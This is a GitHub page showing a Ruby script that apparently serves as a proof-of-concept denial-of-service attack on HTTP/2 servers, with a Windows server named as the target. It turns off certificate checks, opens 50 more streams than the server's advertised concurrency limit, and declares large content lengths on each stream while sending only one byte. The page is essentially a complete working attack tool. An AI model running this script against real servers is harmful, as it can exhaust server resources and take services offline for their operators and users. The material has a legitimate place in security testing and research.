-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmax_concurrency.rb
97 lines (75 loc) · 2.12 KB
/
max_concurrency.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#!/usr/bin/env ruby
###################################################################
## Run this with ./max_concurrency.rb https://windows-server:port/
require 'http/2'
require 'socket'
require 'openssl'
require 'uri'
DRAFT = 'h2'.freeze
class Logger
def initialize(id)
@id = id
end
def info(msg)
puts "[Stream #{@id}]: #{msg}"
end
end
# this function creates the connection to the provided URL, and logs the details of what is being performed
def create_connection(url)
uri = URI.parse(url)
tcp = TCPSocket.new(uri.host, uri.port)
$sock = nil
log = Logger.new(-1)
if uri.scheme == 'https'
ctx = OpenSSL::SSL::SSLContext.new
ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE
ctx.npn_protocols = [DRAFT]
ctx.npn_select_cb = lambda do |protocols|
puts "NPN protocols supported by server: #{protocols}"
DRAFT if protocols.include? DRAFT
end
ctx.alpn_protocols = [DRAFT]
$sock = OpenSSL::SSL::SSLSocket.new(tcp, ctx)
$sock.sync_close = true
$sock.hostname = uri.hostname
$sock.connect
if $sock.npn_protocol != DRAFT && $sock.alpn_protocol != DRAFT
puts "Failed to negotiate #{DRAFT} via NPN/ALPN"
return nil
end
else
$sock = tcp
end
$conn = HTTP2::Client.new
$conn.on(:frame) do |bytes|
$sock.print bytes
$sock.flush
end
$conn.on(:frame_sent) do |frame|
log.info "Sent: #{frame.inspect}"
end
$conn
end
#########################################
# Core code is here:
uri = URI.parse(ARGV[0])
$conn = create_connection(ARGV[0])
if $conn == nil
abort('Could not open connection')
end
header = {
':scheme' => 'https',
':method' => 'POST',
':authority' => "#{uri.host}:#{uri.port}",
':path' => '/',
'content_length' => "#{1024*10240}"
}
max_streams = $conn.remote_settings[:settings_max_concurrent_streams]
max_streams += 50
# we just start a new stream over this HTTP/2 client connection, with a very large content length, and send a nominal amount of data
for i in 0..max_streams
header[':path'] = "/#{i}"
stream = $conn.new_stream
stream.headers(header, end_stream: false)
stream.data('A')
end